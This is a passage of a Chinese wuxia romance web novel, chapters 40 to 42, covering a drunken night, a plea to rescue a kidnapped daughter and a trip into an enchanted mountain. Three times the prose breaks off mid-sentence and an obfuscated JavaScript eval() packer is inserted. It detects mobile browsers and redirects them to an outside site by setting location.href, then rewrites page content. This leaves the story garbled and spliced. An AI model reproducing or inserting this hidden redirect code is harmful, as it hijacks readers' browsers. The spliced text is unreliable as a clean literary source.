男人独自饮酒也就罢了,那晚上还非要缠着兰姨喝酒,最后二人都醉倒在桌旁,不省人事。 “真是女儿大了也留不住。”男人昏睡时口中也不忘痛骂。 原湘湘将他们二人各自安排妥当后,又把屋中打扫如常,方才收了行李,恋恋不舍地离去。 如今,当她坐在遥距铁匠的千里之外时,因缘际会之下,才开始思考关于那个男人的一切。从荒野相遇,到山间相依……再到月夜醉别…… “师父,你是不是故意的。”她端详着手中的雁栖,自言自语道。 玄青色的刀鞘上镌刻着金质暮草纹路,交叠纵横,恰如雁鸟环飞。 大雁会飞回到何处呢? 这刀真如两年前赠予之时所说的那般,只是一份防身礼物,留个念想吗? 故意地在那天喝醉酒,好让我离家吗? 她正思忖间,耳边忽然响起一阵“笃笃”不停的敲门声,这声音拉回了她的神思。 听这敲门的节奏,不开门她也知道是谁。 “进来。” “吱呀”响了一声又一声,柳折舟提着食盒,仔细关了门,才施施然落座。 “湘湘姑娘手中的这把刀确实稀罕。”他从见到原湘湘第一眼时便这样说道。 “你想说什么?” 柳折舟合上扇子,将食盒中的小菜一盘盘摆在桌上。 他道:“我想说‘天大地大,吃饭最大’。” 原湘湘抬眸看过去,眼前好一朵迎风招摇的盛放芙蓉,就连灿灿桃李也霎时失色。 二人这顿饭吃得既不晌午也不晚上的,饭毕,柳折舟就收拾完提着食盒回去睡觉。 用饭时,她就隐隐约约觉得不太对。 柳折舟虽然还跟以往一样笑着说着,但他眉宇间却始终沉重,不似往日那般轻盈。 原湘湘趁他傻笑的时候,伸手去摸他的额头,触手灼热,烫得厉害。 “我不知怎么就染了风寒,明明这两日也不冷,衣食也未变……我忘了风寒高烧是什么样子了,所以就没当回事……反正浑身上下也一直在疼……”他又开始支支吾吾说着让人听不懂的胡话。 原湘湘赫然长叹一口气:“烧糊涂了。” “湘湘姑娘,这都是小事……” 柳折舟一直说着没事,直到看着原湘湘吃完饭后才收拾完毕离去,他说睡一觉即可,要原湘湘不要担心。 话虽如此,本来就该买酒作药引的。 她提着柳折舟的钱袋下去找小二买酒。 小二又对她说:“姑娘可是来买‘醉春烟’的?我们家的酒那可是一等一的好,所以就单开了一家门面,姑娘得去隔壁那条街,去找我们掌柜的买。” 她又去了隔壁那条街,见到了肥头大耳的老板,从他那里提了两坛子醉春烟回来。 “姑娘,若是用醉春烟祛风寒,最好热饮。”那老板叮嘱道。 她点点头。 回来后,又花了些钱和小二借了火和药罐子,她就携了一坛子酒和一包药在后厨一侧单开了一个炉子。 不开坛子她到倒没觉得有什么不同,那泥封一拍,原湘湘顿时浑身一震,清冽之气扑面而来,仿佛全身都被酒液濯洗了一般,神识清明。 “这就是好酒吗?”她又凑近闻了闻,“果然和师父喝的不一样。” 半坛入药,而后还剩一半。 这不加热倒还好,即便混了中药,酒气依旧清香扑鼻,勾得她左思右想地坐不住。 最终还是没能坚持住,想到家里那个铁匠师父对酒的痴迷模样,原湘湘决定趁此机会,喝一口试试。 “师父,湘湘今日就代你先喝,权当你也喝过了。”思及那个男人的神态,她抱起坛子,学着那个男人的样子,吨吨饮下。 “还有一坛,应该够柳折舟用的。”言毕,因为喝得太急还打了个酒嗝。 喝完之后,你若问她有何不同?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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原湘湘一手提着酒一手拿着粘湿的帕子,杵在原地往那儿芙蓉花丛看,左看右看,也不见一个人影。 只有一丛染了红的芙蓉立在园中,斑驳陆离,花瓣弥香。 “真好看。”她不禁又脱口而出道。 恰逢此时园中风起,那花迎风招摇,花色更艳更红了半分。 原湘湘僵着腿便走了过去,她不知自己怎么突然身处一方小院中,她只记着要找人,还得给那人用酒擦身子。 竹篱越墙,深树掩枝,藤萝映门,小径落香。 “好可惜好可惜好可惜。” 她心里想着从这小院中走出去就好了吧。 于是便朝着那芙蓉花走去,可奇怪的是,无论怎么走,都绕不出这方小院,四面竹影翻腾,眼前花丛生色,愈加红艳。 “妖……妖……唔,不对!”她感觉自己在奔跑,可实际上她的脚步沉重,几欲摔倒。 她看见花丛中伸出两只又细又白的长手,手指修长,指尖细腻,好似那花蕊沾露。 那手朝她招摇着,似乎在要她过去。 耳边纷纷杂杂,似有若无,又忽远忽近,朦胧话声似雨声,滴滴如珍珠落玉盘,小园起风夜微凉。 “花……花精!”最终,寻路无疾而终的她一头栽倒在芙蓉花丛中。 终是,千言万语也无言,一缕幽芳入梦中。 40.酒后胡言醉卧美人怀 清夜静好,晚风拂窗而入,吹得房内烛火摇曳,却照不见半点人影。 人呢?自然是已经相拥在榻。 柳折舟本来披着衣衫倚靠在床头,有一搭没一搭地翻着书页,也无甚在意的地方。 他正在为成功拖住了原湘湘的行动而沾沾窃喜。 ——从什么时候开始的呢?本来是想顺着她去找一个已经“死去”多时的人,而如今却开始害怕起来,是从那一声“师父”开始的吗? 本以为自己注定死局无解,甚至也做好了坦然死去的准备,可还是在看到那把短刀的时候……无论如何也不想就此死去了。 柳折舟,你这一生中可有过自由?你甘心一生下来就被他们彻底安排等死吗?你遵循过内心为自己或者为他人做过哪件事吗? 鸿鹄引、孤鸿、雁栖,这三把利刃的刃身上都有着只属于那个人的独特记号。 所以那个人一定还活在某处。 那时他是这样打算的:无论如何也要找到他的行踪,只有这样,自己的必死的结局或许还有改写的机会。 朗月当空,他单手撑着,自在坐在马车的横木上,静静看着那个虽然冷淡但实际异常善良的红衣少女…… 从原湘湘的口中得知,那个人一直避世不出,也不愿意让原湘湘下山入世,柳折舟便知那个人已然决定让自己彻底死去了。 自己若是再这般执着让那人“复活”于世,究竟对谁有好处?不知道。 但对谁一定有坏处,他现在很是了然。 柳折舟你真是懦弱啊。对她的打算,如今是一个也不想施行了吗?可现在骑虎难下,你又能拖到几时? 她的如今的一切,都是你造成的。 是你偶然救了她的,是你非要缠着她的,是你忍不住要收她为徒的,也是你拎不清要她去寻三分剑鞘的…… 你明明知道她偏执得要命。 柳折舟你也承认自己其实并没有那么清醒坦然吧。 他叹了口气,正欲合上书,就听楼下似乎来了陌生人——脚步虚浮,气息混乱,一轻一重的,十分浊乱。 静听片刻,他又笑着恢复了原本那静坐着看书的样子。 下一刻,木门吱呀作响,就见四肢僵硬的原湘湘同手同脚地摸着门进来了。 “湘湘姑娘?”他不免有些担心,忙要起身看看她。 原湘湘面色酡红,眸中水光潋滟,那眼中也多了许多不曾见过的……不好言说的意味。 柳折舟心下了然,知她一定是喝醉了酒。 他不动声色地放下书,面朝着原湘湘坐下来,柔柔问着:“湘湘姑娘这是怎么了?要不要紧?” 原湘湘恍若未闻,她此刻哪管什么乱七八糟,在她的醉眼中,此处已不是柳折舟的房间,她早已身处某个陌生院子里,正满地找出路呢。 她使劲儿甩甩脑袋,强撑着脑海中的最后一丝清明,将药酒递到柳折舟的面前。 “喝。”一声令下。 柳折舟看着那一碗乌漆麻黑的汤水,不免有些犹疑,停在半空的手,却是无论如何也前进不了半分。 他还在思索着怎么蒙混过关,突觉颊边一股凉意——原湘湘冰凉的指尖贴了上来。 那泛着凉意的指尖,却仿佛带着火星,滑过他的脸侧,一路飞星走火,滚烫的热意蒸腾而起,柳折舟感觉全身的毛孔都在微微冒着热气。 还未即他反应过来,原湘湘一手上来就掐住了他的下巴,她的手间发力,强迫他张开了嘴! “湘湘……”他口齿含糊不清。 他本想说点什么,可当眼前一片阴影压了过来时,原湘湘的笑脸直贴着他的脸而来时,他就是半点也动弹不得了。 她貌似很开心,嘴角总是噙着笑意,眸中掬水盈盈。 “你真好看。”她道。 强迫他张开嘴的手指流连在柳折舟的脸侧,指尖每一次分离又触碰,都让柳折舟的脸红得更厉害,身上热意更盛,呼吸更乱。 算了,全都喝了吧。 碗中一饮而尽的除了药,还有酒。 柳折舟见她喝得迷迷糊糊,直在原地转圈,眼中也是平时完全见不到的明净可爱,而后某种异样的心绪就从心底里愈发浓烈。 你后悔准备利用她? 他正琢磨着什么,却不料一身烂醉的原湘湘又搂着酒坛子直勾勾盯着他,又是灿然一笑:“你真好看。” 又是一遍。 柳折舟顿时僵在原地,不知如何是好。 该如何去说呢? 眼前的少女清灵净秀,对着他灿然一笑,烛火下的明净脸庞上,是一双饱含笑意的眼睛,跃跃灿烂。 他不觉倒吸了一口凉气。 夜灯微凉,却也无可奈何这灼人的热度。 柳折舟看着原湘湘在屋中打转,又担心她一个不稳摔倒在地,便朝她伸去了双手。 可谁知原湘湘迷迷糊糊的脑子里究竟看到了什么,摇摇晃晃着,她径直扑倒柳折舟的怀里,把他压倒在床上,嘴里还不断地说着不着边际的话。 “妖……妖……唔,不对!” “花……花精!” 言罢,嘿嘿一笑,倒头就睡。 少女身上混杂着酒气的清甜萦绕在鼻尖,蓬松而柔软的发丝扫过他的脸际,颈边,手上……她的每一次呼吸都像是羽毛轻轻挠着他的心尖。 这……这该如何是好? 这是绝对没有预料到的情形。 即便是轻细如发丝般的呼吸,在他耳中也如雷鸣般令他震耳欲聋。 推开? 他猛烈地摇摇头——终究还是有贪恋和不舍。 不推开? 他也猛烈地摇摇头——可这般亲密实在逾距。 原湘湘趴在他的胸口上睡得正香,柳折舟又急又热又不舍得推开,长眉紧拧着,一双眼里全是水光,眼尾泛着丝丝红色。 那到底是怎么一回事?他自己也不清楚,脑袋也开始晕晕乎乎,发起烫来。 最后,他还是不争气地悄悄撑起了一点身体,悄悄偷看着趴在自己怀里的原湘湘。 “腾”的一下,热气一下子都从七窍里齐齐窜出。 他觉得自己现在就是坐在蒸笼里。 此刻是骑虎难下,抱着原湘湘,松开不是,不松开也不是。 越急越热,越热越急。 就在他无计可施之际,忽觉衣襟被轻轻拽动着,时不时地,一松一紧,片刻后,又是一抓一松。 他低头一看,是沉沉睡去的原湘湘正扯着她的衣襟,有一下没一下地抓着他的衣裳。 随着那阵阵规律,柳折舟的心也起起伏伏,他觉得自己正坐在着火的船上,这船行在滔天巨浪里,他不是翻船死在里面,就是被火活活烧死。 无可奈何,他只得绷着身子躺在那里,动也不敢动上一下。 不知何时,直到那阵阵抓扯彻底消失时,柳折舟也抵不过倦意,拥着原湘湘睡了过去。 烛火渐微,二人衣摆交叠,发丝交缠,好似那层层叠叠的蝶翅一般,轻柔美丽。 翌日,日光清明,房内大亮。 原湘湘本双目紧闭躺在床上,忽然两眼一睁,诈尸似的弹了起来。 她看了看周围,毫无异常。 不对,桌子旁边多了一个人。 “湘湘姑娘你醒啦。” 她甚至还没说话,柳折舟就已经从桌子旁起身,悠悠来到床边笑望着她。 不对。她看着柳折舟心中连连摇头。 “我脸上是有什么东西吗?”柳折舟眼神飘移,慌忙捋下几绺发丝盖在脸侧。 原湘湘看着他那张脸,不知为何,莫名心虚起来。她还没完全忘记一切,她还记得点滴细节,她还记得自己做了一个难以启齿的梦。 “……你,你怎么在这里?”原湘湘假装不动声色。 “湘湘姑娘,昨夜你喝醉了,想必是那‘醉春烟’实在是太过诱人,竟让湘湘姑娘也把持不住。”柳折舟说着话,声音就慢慢小了下去,“有劳你,又为我奔波一番。” 他侧坐在榻上,原湘湘顺着看过去,日光清明,柳折舟的耳朵红得像滴血。 她又想起那个梦来。 “柳折舟,我梦见你变成女人了。”她不假思索道。 她还记得自己扑到一个极为美丽的芙蓉花精身上,那花精身上美丽又芬芳,又软又香,还滑滑的,她就忍不住多摸了两把,直到视线往上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827391|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最终看见那花精长了一张柳折舟的脸。 这才把她从梦中惊醒。 原湘湘静静看着柳折舟,那人却一反常态地严肃起来,沉声问道:“湘湘姑娘,不提我变成了女人,若是女人变成了我,你会相信吗?” 原湘湘能清晰地看见他藏在发丝间的那两只耳朵,红得厉害,仿佛用手轻碰,便能瞬间皮破血流。 “男人不可能变成女人,女人也不可能变成男人。”她一脸严肃,“你是不是没吃药?我去帮你煮。” 正说着话,她已穿了衣裳从床上起来:“你就在这里等我。” “好。”柳折舟乖巧坐在床沿,对着她笑。 不知道,不清楚,不明白。 原湘湘莫名的心慌,她只想快速离开:此处不能再多待一刻! 这一次煮药她可记住了一口也不要尝,这一次梦见柳折舟变成女人,还不知道下一次会梦见柳折舟变成什么。 用过早饭后,闲着没事,柳折舟便就生了一些心思,非要缠着原湘湘一块出门踏青。 “湘湘姑娘,此刻春色正好,若不出门看看,岂不浪费大好春光?” 原湘湘当时正坐在房中饮茶,柳折舟摇着扇子就进了门来,左一下,右一下,在她的眼前招摇。 原湘湘刻意闭上眼睛不看他,可谁知即便闭上了双眼,那人朦朦胧胧的影子还是透过眼皮涌进她的脑海里。 本来闭着眼睛是为了不去看他,可如今眼前的柳折舟是看不清了,脑子里的柳折舟却看得更清了! 她满脑子都是那个衣带渐宽,浑身香气四溢的芙蓉花精! “柳折舟!”原湘湘“腾”的一下从椅子上站起来。 这一着,委实把柳折舟下了个大跳,二人相处这么久以来,他从未见过原湘湘如此失控:“湘湘姑娘,怎么了……是我……” 他支支吾吾着,瞧着甚是害怕。 原湘湘强压着心中的热力,低声道:“我们出去踏青。” 柳折舟顿时笑开了花。 二人一路行来,几乎将园山镇镇里的几处好景好山逛了个遍,最后二人停在一处缓坡之上。 一路无言,只有如影随形。 山间野镇本就人少,此刻又逢晌午,街头人气更是稀薄,唯有远处几个正在修理田地的农人的身影依稀可见。 原湘湘站在山坡上,静往远处,天地一方。 几天前,她的肩膀上被抓出的血口子虽然已经已经止血结痂,但伤口处依旧隐隐作痛。这事,她没跟任何一个人提起过。 缓坡染翠,桃李点红,岸上青青柳丝拂绿水,池中片片落花荡清波,天光共景,一路芳草炊烟,春风渐起。 鲜红的锦绣衣带伴着柔软发丝,如同波浪般在风中飘荡,原湘湘挺身立在一片春色之中,面色沉寂。 她立在春风中,不动如山,满山点翠流红皆在目光之下。 良久,她的身后慢慢探出一点白,一个满身白衣的长身男子如玉似雪般,缓缓立在她的身侧。 “湘湘姑娘,我料想你应该需要一些东西,方才便去街头买了些。”柳折舟站在原湘湘的身边,手里大包小包的提着些东西。 原湘湘听他说话,便回身看了看他。 那都是些什么东西呢? 遮寒的厚衣,治伤的药物,还有一小包吃食。 “这是什么东西?”原湘湘从袋子里掏出一块。 “应该是很甜的荞麦酥。”柳折舟慢条斯理着,“我见路边有几个小孩是这么说。湘湘姑娘难得有空出来踏青,当然要好好休息一下啦。” 原湘湘有些讶异,便道:“买之前你可以尝下味道,难道你没试吃吗?” 柳折舟朝她微微一笑:“试过了,应该是甜的。” 他见原湘湘一口咬下,荞麦素瞬间塞圆了原湘湘的腮帮子,便又问道:“怎样?湘湘姑娘,是甜的吗?” 原湘湘点点头:“脆脆的,甜甜的。” 这时,柳折舟才从袋子里慢悠悠拿出一块荞麦苏塞入口中,而后叹道:“不愧是湘湘姑娘所言,确实又甜又脆!” 原湘湘瞧他这般,疑惑不解地看他。 柳折舟立刻回笑:“湘湘姑娘说得都对。” 41.园山夜遇桃花公主抱 园山镇三面环丘,唯独镇子南边有一条出口直通二十多里外的天水城。 暮色渐起,两道身影一前一后地路过冷冷清清的镇口长街。街上行人寥寥,大多都是些上了年纪的男人女人在买卖,鲜少见得年轻的男子与女子。 越是往南,越是不太对劲儿。 因此像原湘湘这般一身红衣,恍若无人之地般行在街头,不时会有些男人女人对她投来异样的目光。 不过,原湘湘也从不在乎这些,她的心里也没地儿在乎其它的事情。 她行至一处商铺门前,还没跨出三步,便又速速退了回去。 “怎么了湘湘姑娘?”柳折舟跟着她走走停停,一个不稳,险些贴上她的肩背。 他庆幸自己及时刹住,没有撞到原湘湘的后背。 “有人在哭。”原湘湘凝神细听。 柳折舟见她面色严肃,他也支起耳朵四处听听看。 果不其然,纷乱的叫卖声中掩藏着一丝极为细小微弱的抽泣。 原湘湘顺着那声抽泣来到了商铺街角,她看着眼前的地面,又一次重复道:“我听见有人在哭。” 眼前是一个白发苍苍的老人,那老人匍匐跪在地上,双臂撑地,埋首不起。 老人面前的地上还摊着一张写满字的白布,方才她走得快,一刹之间只听了个瞬息,再加之老人压抑着哭声,若不是恰好赶上一声抽泣,原湘湘也没听得见那老人在哭。 柳折舟蹲下身来,慢慢念道:“求各位好心人行行好,救小女一命!桃花大盗掳人索银五十两,恳求路过的好心人施以援手,让我赎回女儿,老朽愿结草衔环当牛做马!” 原湘湘也踱步至那老人身侧,她默默看着那跪伏在地上老人,约莫六十多岁上下,身躯佝偻,皮皱如树皮,花白的头沉沉贴着地面。 老人头贴着的地面,洇出一片湿痕。 她不由得咬紧嘴唇。 柳折舟从旁望着她。 不多时,柳折舟便将那老翁缓缓扶起,轻声道:“老人家,您这样长时跪在地上可不是个办法。” 那老人因为长时跪在石板上,双腿僵直且无力,刚一起身,疼痛麻木袭遍全身,一时之间无法支撑,只能不住地往下滑。 柳折舟慌忙将那老者架在自己身上,原湘湘也上去帮忙搀扶着。 老人道:“老朽也活不了几年了,一条贱命死不足惜,只可怜我那女儿陷在那贼窟……不知是死是活,就算活着,也……被那恶贯满盈的沾污了去!呜呜!!” 原湘湘凝眉道:“是否是那只劫掠女子的桃花大盗?” 她还记得在老大夫那里养伤时,小云姑娘也曾在她耳边念叨过那个桃花大盗,说得神乎其神,不少女子都心甘情愿被他劫掠,只愿一睹容颜,更愿常伴身侧。 此地与养伤时住的医馆虽有一些路程,但也还算毗邻相近。 “啊!就是他!就是他!”老人一听“桃花大盗”四个字时,情绪激动起来,涕泗横流,“就是那……恶贼!掳我女儿啊啊啊!” 老人用力扯住柳折舟的衣襟,他的一声哭号引得不少人驻足。 柳折舟赶忙将老人安抚道:“老人家,老人家您别急,若是缺钱,我们会帮您想办法的。” 不得已,二人只得将老人移至别处,待他双腿缓过知觉时,老人才痛苦道:“那个贼人就在园山镇北边的山头上,掳掠了不少年轻女子过去供他享乐,其中就有我那命苦的女儿啊啊啊……” 原湘湘见那老人不住哭泣,便问道:“老人家,既然知道贼人藏身处,为何不报官?” 老人本来只是哭泣,一听这话,便是又哭又气,悲声长叹:“这个世道,什么官?还有官会为我们做主吗?只可怜了我那女儿……被贼人掳走至今生死不知啊——她只是出门买些布料,想给我这个老不死的做件新衣啊啊啊啊!” 原湘湘迅速撇过脸,不敢再看那老翁,眼中酸涩涌起,她的心口也莫名像是被人打了一拳。 她自是没料到南边如今已到了这个程度。 原湘湘你活下去就忘了本了么?她扪心自问。 “可我见你在筹钱,是不是你曾经见过桃花大盗?是他要你筹钱救人的吗?”柳折舟看见原湘湘的反常,便轻声问老翁,“如果需要钱,我这里……” 不待柳折舟说完,老人泣声道:“那贼人踪迹不定,没人见过,只知他在天水城这一块活动而已。至于筹钱,实在是老朽没有其他法子了!我想尽力救出女儿啊!老朽曾去过北山,可那山中不知被施了什么迷障,只要进去就会鬼打墙,等到再出来时,又是下山了!” 原湘湘听着那老翁的痛苦,眉头紧拧,她甫一抬头,便与柳折舟目光相触。 暮色渐深,添寒几许,柳折舟依旧只是对着她盈盈浅笑。 似乎无论何时,只要她一看向柳折舟,他总会在身侧对着原湘湘笑意盈盈。 原湘湘不知为何不敢再听再看,便只好转身落荒而逃。 柳折舟见她离去,便取出些银子安抚那老翁,此间事了,他便快步追上。 柳折舟找到原湘湘的时候,她正坐在酒楼后院的墙上,抱膝独坐,殷红的衣摆垂下,一抹红影孤零零落在墙头,仿若一只离群的孤鸟,背影带着无限悲伤。 暮色四合,清光几许,夜晚依旧带着寒凉。 “湘湘姑娘。”他轻声开口唤道。 墙上的身影微不可察地颤抖一瞬,可她不知为何却不想回头。 “湘湘姑娘。”柳折舟又一声唤道。 声音离得更近,此刻,他就在她下方的墙根站着。 原湘湘撇过脸去,将脸深深埋进臂弯。 她依旧不想看他。无关怨无关烦,只是心中莫名堵着一股难言的涩意——那老人的遭遇她明明早已知晓,却还多此一问。 原湘湘啊原湘湘,你真是忘本了!她恨不得给自己两记耳光。 “湘湘姑娘……”柳折舟还在墙下不肯离去。 原湘湘将脸埋得更深,甚至伸手紧紧捂住耳朵。渐渐的,底下正如她所做的那般没了声响。 柳折舟在时,她不愿意听;等柳折舟真没了声息后,心头又开始空落落的。 果然还是走了啊。她满心怅然。 正在出神时,忽然听到身后一阵瓦片轻响,她猛一回头,就对上那对如水一般温柔的含笑眼眸。 “湘湘姑娘~” 他不知踩着什么,刚好探出半个身子来,胳膊搭在墙头上,一双修长细白的手抓着墙头的青瓦。 映着月光,他的指节白中带青,似是了无生气。 “你怎么上来了?”原湘湘故意板起脸。 柳折舟眉头一塌,委委屈屈道:“我一人吃饭吃不下。” 原湘湘:“……” 她其实知道柳折舟是在寻理由哄自己下去。 “风寒夜凉,湘湘姑娘可怜可怜我孤身一人,下来陪陪我吧。”说着他便伸手来牵。 原湘湘一见他抬手,下意识便要躲开,结果柳折舟不知为何忽然间一个不稳,如同断线纸鸢般摇摇晃晃着向后栽下去! “湘湘姑娘救我!”他惊呼一声。 未及声落,原湘湘已飞身掠下,殷红的衣摆荡在风中如同红莲冲天怒放,她赶在柳折舟落地之前将他稳稳接住。 当那温凉的体温落进原湘湘的臂弯时,那股好闻的香气便立刻缠上她的鼻尖。 “湘……湘姑娘。”柳折舟的目光定在少女细瘦却坚韧的肩头,喉间轻轻滚动,声音微微颤动着。 月光倾泻,明透如练,将二人的身影照得分明——他正被她横抱在怀,面上红潮,一目了然。 原湘湘眸中沉静,双臂稳稳托住他,淡淡道来:“不要乱动。” 夜风卷起二人交叠的衣摆,却卷不走的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836992|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浑身滚烫的热意。 那热度透过交叠衣衫层层渗透,顺着她的臂弯往上爬,最终漫上心头。 翌日一早,二人便纵马离开园山镇。 “真不愧是湘湘姑娘,我就说湘湘姑娘侠义心肠嘛。”柳折舟笑吟吟望着她。 明明知道柳折舟总是张口就来、花言巧语,可被这么一个人天天围着,若说原湘湘心中一点动容也无,那必定是假。 她轻咳两声,正色道:“北山也不过十里开外,巳时便能到达。” “嗯。”柳折舟轻声应和。 此时天刚拂晓,山外一线才刚刚亮起微光,远山亦如野兽脊骨一般,在暗色中起伏。 原湘湘默默盯着柳折舟。 柳折舟平日一身病态,不是张口就吐便是一睡不起,今日却不知为何,反常得不得了。 原湘湘甫一说完,他便轻夹马腹,一溜烟跑远了。 柳折舟纵马在前,身姿挺拔,马蹄声碎,尘土飞扬,仿佛迎风踏浪,一身白衣化雪散在空中,又似破晓的云。 原湘湘望着那道背影,怔了一瞬才回过神,忙挥鞭跟上。 有那么一刹那,她觉得自己被眼前的飞雪晓云迷了眼,她觉得似乎认错了人。 或者,她从来没见过真正的柳折舟。 又或者,她忽然想知道,在遇到自己之前,柳折舟到底如何呢。 “总不会有人一生下来就这副半死不活的样子吧。”她握着马鞭的手微微一紧,昨夜的种种浮上心头。 那时,二人默默吃完饭,柳折舟死活也不回自己房间,就那么坐着一动也不动。原湘湘也从不管他,一直任由他来去如何。 一人坐在床边,一人坐在桌边,各自垂眸闭目,不言不语。 直至后半夜,原湘湘终于下定决心,开口道:“我要去北山,救回他的女儿。” 桌边的柳折舟闻言抬眸,纤长的睫羽映火碎光。他单手托腮,脸上如沐春风般和煦:“我就知湘湘姑娘侠义心肠~” “怎么你又知道了?”原湘湘故意撇过脸不去看他。 “我还知湘湘姑娘心中有委屈,亦有愧意。”说罢,他便起身和原湘湘告了个别,“夜还深,湘湘姑娘早些休息。” 原湘湘再抬眼时,恰逢柳折舟合门而出,透过那条愈来愈窄的门缝,她清晰地看见柳折舟好看的眉眼逐渐消失在门后的黑暗中。 柳折舟说的也不全对,她的心里忽然也有些不舍。 她一直盯着那扇正在合拢的门,直至即将关上的那一刹那,猝不及防地,柳折舟忽然抬头一笑。 原湘湘顿时后背一阵滚烫炸毛。 直到门彻底关上后,她仍想着那病恹恹的柳折舟会不会再次推门而来,会不会在对着她笑? “我在想些什么?”她伸手托住两颊。 她又想起来那个古怪的梦了。 她梦见柳折舟变成了她朝思暮想的女人,不对,是她朝思暮想的女人长着一张柳折舟的脸,两个人影交叠重合,都在对着她微笑,朝她伸出手来,衣带渐宽终不悔…… “吁!”她猛地收缰勒马,急急忙忙回过神来,翻身下马,定睛一看,柳折舟早已停在入口。 “便是此处。”柳折舟盈盈一笑。 说罢,便又悠悠转到原湘湘身侧,将那把洒金扇并指撑开,挡在了她的上方,遮住了渐渐刺眼的日光。 “湘湘姑娘~” “嗯。” 原湘湘极目而望,远处的北山山顶如同刀尖一般刺入薄雾之中,周遭林木郁郁葱葱,临海苍茫,其中间或些许或白或紫或红的花树,灿若云霞。 “这里便是鬼打墙的北山了。”她沉声道,随后便径直踏入上山的小径。 柳折舟合扇轻笑,毫不犹豫地紧随而去。 二人一前一后行在山中,身后雾气渐起,不多时,他们的身影就消失在一片朦胧中。 42.雾林迷路扪心自三问 北山深处有座庭院,那庭院中亭台交错,红墙绿瓦,曲径通幽,恍若仙境。 此刻,院中几个年轻女子正相聚一处,一齐俯身看着什么。 细看时,原是石桌上放了一方立体舆图。那舆图约莫几寸见方,其中沙土自成一方天地,在那小小的方寸天地中正有两个琉璃小人在其中兜兜转转。 她们正围着那舆图上的变化说说笑笑,好不热闹。 “哎呀,又来了两个人。”为首的一个桃红衣衫的女子笑道,“居然还有个男的。” 那不断移动着的沙盘舆图就是整个北山的地图,上面清晰可见一白一红两个小人在原地打转。 “方大哥最近有说什么吗?是有新人要带过来?”旁边一个鹅黄襦裙的小女孩声音冷冷如雪。 “方大哥去天水城赚钱去了,没些时日怎么回得来?”另一个身着同款制式的襦裙小女孩轻笑道,这两个小女孩的脸竟是一模一样,“毕竟要养这么大一个‘家’啊。” 声音冷淡的少女补充道:“方大哥最好快点回来。” “把姑娘留下吧,男的踢出去!”另一侧一位黑衣劲装的女子抱臂而立,腰间两柄菜刀熠熠闪光。 “确实确实,她长得好可爱,我要她留下来作伴~” “哈哈哈,对,除了方大哥,此地绝不留任何一个男子。” 说罢,一群女孩子围着石桌又嬉笑起来。 “既然主意已定,那我们就去会会他们~”一个身着桃红窄袖长裙的漂亮女子忽然从人堆中起身。 那女子一起身,旁边众人皆是满脸担忧,齐声道:“你真的要去问那些问题吗?” “既然小铃要去,我也不能落下,正巧很久没人尝过我的手艺了。”那一身黑衣的女子说着便拔出腰间的菜刀,继续道,“方大哥不在,你们都不愿试新菜,如今新人来了正好,我这就下去准备。” 这女子看着冷淡不亲近人,实则话是最多。 待她提刀离开后,余下的一群姑娘们皆是大眼瞪小眼,脸上浮现出不知是可怜还是害怕又或是惋惜的神情。 此时已是正午,日光明亮,山间树影斑驳。 原湘湘依旧不依不饶地往前,她的面色凝重,眸中冰冷。在她的身侧,一边胳膊被另一只大手紧紧抓着。 “湘湘姑娘……”柳折舟抓着她的胳膊,就像是抓住了救命稻草一般,“这棵老槐树我们已经走过五遍了。” “……我知道。”她只好驻足停下,审视着眼前这棵还没有发芽的老槐树。 那槐树的树枝细密遒劲,挣扎着破往天空。 柳折舟松开手,又去那槐树的树枝上绑了一根布条:“这是第六遍。” 他的左手衣袖已经被撕掉了一截,露出里边的莲花暗纹里衣来。 “先休息一会儿吧。”原湘湘说罢,立刻坐下打坐。 饶是如她,也经受不住接连在山中徘徊迷路。 柳折舟就在旁侧坐着,他看着正在调息的原湘湘,林光洒下,他的满身映光,就连发丝也似霜雪般,嘴角泛着一丝微笑,眼底一片洁白,仿佛无视一物。 他的眼睛里到底在看着什么? 那双眼睛似乎已经褪去所有颜色,明明正对着她,却又好像没在看着她,眼神分外迷离涣散。 不多时,只听林间惊起一阵鸟鸣,随后又是一片寂静。 柳折舟蹙眉警觉,原湘湘也第一时间起身来到他的身边。 “有人。”原湘湘提醒道,说话间,她已抽出长鞭。 林间寂寂,不多时就听远处荡开一阵忽远忽近的笑声,那是女子的嬉笑之声。 “你们~在找我?”一声宛若鬼魅般的问候在原湘湘的耳边响起。 她蓦地转头,身后空无一人——只有一个满面春风的柳折舟。 “在这里。”女子的声音如同银铃般轻盈美妙,“在这里呀~” 原湘湘顺着声音看向前方。 一条山间石路平铺在地,树上幽影盘桓,林间山花野草郁郁葱葱。不多时,只见一个盘着双发髻的妙龄女子款款而来。 她约莫十八九岁的年纪,银眸带笑,唇颊生花,一袭桃红窄袖高腰长裙迤逦而来,两侧红袖披帛荡开风外。 “二位,可还好找?”说罢,她便笑着朝原湘湘弯身一礼。 原湘湘和柳折舟见状也各自回了一礼。 “姑娘。”原湘湘率先开口,“你为何会在这里?” 她看这女子情状,估摸着应该可以好好谈谈。 